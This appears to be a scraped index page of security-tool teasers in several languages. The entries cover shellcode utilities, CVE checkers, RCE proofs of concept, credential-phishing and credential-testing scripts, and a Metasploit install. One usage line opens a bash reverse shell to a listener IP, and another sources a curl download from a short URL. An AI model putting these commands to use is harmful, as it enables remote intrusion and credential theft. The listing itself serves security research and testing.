pyshell2bin

pyshell2bin 如果你在处理漏洞利用和 shellcode，那你已经知道 shellcode 是什么以及如何处理它。有时它会随 C、Perl、Python 等语言的漏洞利用代码一起出现，通常看起来像这样： root@kitploit: payload = b"xbfxabxd0x9ax5bxdaxc7xd9x74x24xf4x5ax2bxc9" + "xb1x45x83xc2x04x31x7ax11x03x7ax11xe2x5ex2c" + "x72xd2xa0xcdx83x85x29x28xb2x97x4dx38xe7x27" + ... 但有时候你需要这些 shellcode...

Fenrir

Fenrir Escáner Bash sencillo de IOC Fenrir es un script Bash sencillo de escaneo de IOC. Permite escanear sistemas Linux/Unix/OSX en busca de los siguientes Indicadores de Compromiso IOCs: Hashes MD5, SHA1 y SHA256 usando md5sum, sha1sum, sha -a 256 Nombres de archivo cadena - se verifica si es u...

CVE-2023-41425-wonderCMS_RCE

CVE-2023-41425-wonderCMSRCE Vulnerabilidad de Cross Site Scripting en Wonder CMS v.3.2.0 hasta v.3.4.2 permite a un atacante remoto ejecutar código arbitrario mediante un script manipulado cargado en el componente installModule. Solo con fines educativos Requiere conocimiento del loginURL, acceso...

CVE-2025-15696

The Real3D Flipbook WordPress plugin before 5.4 does not sanitize or escape several flipbook editor fields before rendering them back in the admin editor, allowing users with the Author role and above to inject arbitrary web scripts that execute in the browser of any user who later opens the...

PySCTChecker

PySCTChecker 描述 这是一个用于快速检查域名是否正确实施证书透明化（Certificate Transparency）的简易Python脚本。如果存在问题，可以观察服务器端如何实施证书透明化。 当服务器实施证书透明化时，它必须提供至少一个SCT（服务器TLS证书被纳入透明度日志的包含证明）。SCT可以通过三种不同方式提供：嵌入证书中、作为TLS扩展以及通过OCSP装订（OCSP Stapling）。使用PySCTChecker可以识别服务器使用的交付选项以及证书已发送到的日志。此外，还可以检查所提供的SCT是否有效且由日志合法签名。 功能 用法 ： root@kitploit...

cve-2019-1003000-jenkins-rce-poc

PoC：Jenkins RCE SECURITY-1266 / CVE-2019-1003000 Script Security，CVE-2019-1003001 Pipeline: Groovy，CVE-2019-1003002 Pipeline: Declarative 一个概念验证，允许具有 Overall/Read 权限和 Job/Configure（以及可选的 Job/Build）权限的用户绕过沙箱保护，在 Jenkins 主节点或代理节点上执行任意代码。 更新 : 一篇由 Orange Tsai 撰写的文章，解释了利用 CVE-2018-1000861 和...

metasploit_in_termux

Termux 中的 Metasploit Framework 6 如何安装 安装前 为确保 Termux 已更新至最新版本： 在 Android 设置中清除 Termux 的所有数据 卸载并重新安装来自 F-Droid 的最新 Termux 版本（Play 商店版本已过时） 然后启动 Termux 完成初始化，关闭它（强制停止，不要切换） 重新打开并按照以下说明操作 自动安装 root@kitploit: source curl -fsSL https://kutt.it/msf 手动安装 root@kitploit: pkg install wget wget...

CVE_2023_20198_Detector

CVE202320198Detector Este script puede identificar si los dispositivos Cisco IOS XE son vulnerables a CVE-2023-20198. El script toma como entrada un archivo csv con todas las direcciones IP de los dispositivos que desea verificar. Por defecto, el script busca un archivo llamado "devices.csv"; pue...

IMAPLoginTester

IMAPLoginTester IMAPLoginTester 是一个简单的 Python 脚本，用于读取包含大量电子邮件和密码的文本文件，并尝试通过登录相应的 IMAP 服务器来检查这些凭据是否有效。 用法： root@kitploit: usage: imaplogintester.py -h -i INPUT -o OUTPUT -s -t SLEEPTIME -T TIMEOUT -P SOCKS5PROXY -v optional arguments: -h, --help show this help message and exit -i INPUT, --input...

Simple-CVE-2021-41773-checker

简易 CVE-2021-41773 检查器 简单脚本，用 Bash 编写，用于检查多个主机是否存在 CVE-2021-41773 Apache。 + Uso: ./CVE-2021-41773.sh hosts.txt...

CVE-2025-55182-test

CVE-2025-55182 测试 检查您的端点是否可能受到 CVE-2025-55182 的影响。 要求 root@kitploit: pip install requests 用法 root@kitploit: Single target $ python3 react2shell-test.py -u https://app.example.com Multiple targets from file $ python3 react2shell-test.py -l targets.txt With options $ python3 react2shell-test.py -l...

huntr-com-bug-bounties-collector

huntr.com 漏洞收集器 新的漏洞赏金（漏洞）收集器 环境要求 支持图形界面的 Chrome（如果脚本执行遇到问题，请检查虚拟机的 GPU 功能状态（如果可用）。） Chrome WebDriver 预览 root@kitploit: python3 main.py 2024-02-20 16:14:47.836189 1. Arbitrary File Reading due to Lack of Input Filepath Validation - Feb 6th 2024 / High CVE-2024-0964 - gradio-app/gradio -...

CredsLeaker

CredsLeaker v4.x Un agradecimiento especial a @ApSecDev que llevó este proyecto al siguiente nivel! ¡Felicitaciones! Este script solía mostrar un cuadro de credenciales de PowerShell que pedía credenciales al usuario. Sin embargo, eso era muy notorio. ¡Ahora es momento de utilizar la ventana...

Cohab_Processes

CohabProcesses Este script de Aggressor está diseñado para ayudar a los Red Teams internos a identificar procesos sospechosos o extraños "Cohabitación" que se ejecutan en sus entornos. Los Red Teams pueden compilar una lista de procesos "conocidos" ya sea de forma independiente o en colaboración...

CVE-2022-42889

CVE-2022-42889 Script de Python para CVE-2022-42889 Para probar esto localmente sigue el POC de docker: https://github.com/karthikuj/cve-2022-42889-text4shell-docker Para una versión PHP de esto: https://github.com/ClickCyber/cve-2022-42889 Si estás ejecutando esto y explotándolo localmente, la I...

LARE

LARE L ocal A uto R oot E xploiter 是一个简单的 bash 脚本，当受害机器没有互联网连接时，它可以帮助你从攻击机器上部署本地 root 漏洞利用程序。 该脚本适用于受害机器没有互联网连接的场景（例如，当你 pivoting 到内部网络或参加使用 VPN 连接其封闭实验室的 CTF 时，比如 hackthebox.gr，甚至在 OSCP 实验室中）。 该脚本使用针对 Linux 内核 2.6-4.8 的本地 root 漏洞利用程序。 该脚本灵感来源于 Nilotpal Biswas 的Auto Root Exploit Tool 用法： 1-...

Reconky-Automated_Bash_Script

Reconky-自动化Bash脚本 root@kitploit: \ \ /|| \ /|\ /| | || /| /| || \ || \ / / \ / | || | | | | | || \ | || / / \ / | | | | | | | || \ \ || \ / | \ | | | | | | || | \ || \ \ | \ | /| /| || \ || / \ \ | | |/ ///|/ |/ / / 用法 ./reconky.sh 关于 Reconky 是一个用 bash 编写的脚本，用于自动化侦察和信息收集任务。该 Bash...

CVE-2022-31300

CVE-2022-31300 Haraj Script 3.7 - DM部分认证后存储型XSS Exploit标题：Haraj Script 3.7 - 认证后存储型XSS 日期：2022-06-13 CVE编号：CVE-2022-31300 漏洞利用作者：Abdulaziz Saad @b4zb0z 厂商主页：https://angtech.org/ 软件链接：https://angtech.org/product/view/3 版本：3.7 测试环境：LAMP, Ubuntu 利用方法： 通过Burpsuite或DevTools操作并重复发送请求，利用JS载荷攻击DM消息部分。...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE 认证 用法 python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" 示例...

commons-text-goat

Commons-Text Goat Esta es una aplicación web que es intencionalmente vulnerable a CVE-2022-42889. Utiliza un servidor Jetty embebido y Maven para iniciar un servlet que escucha en el puerto 8080 en la URL \api. Este endpoint acepta un parámetro URL cmd. Este se inserta entre $ y y se pasa a la...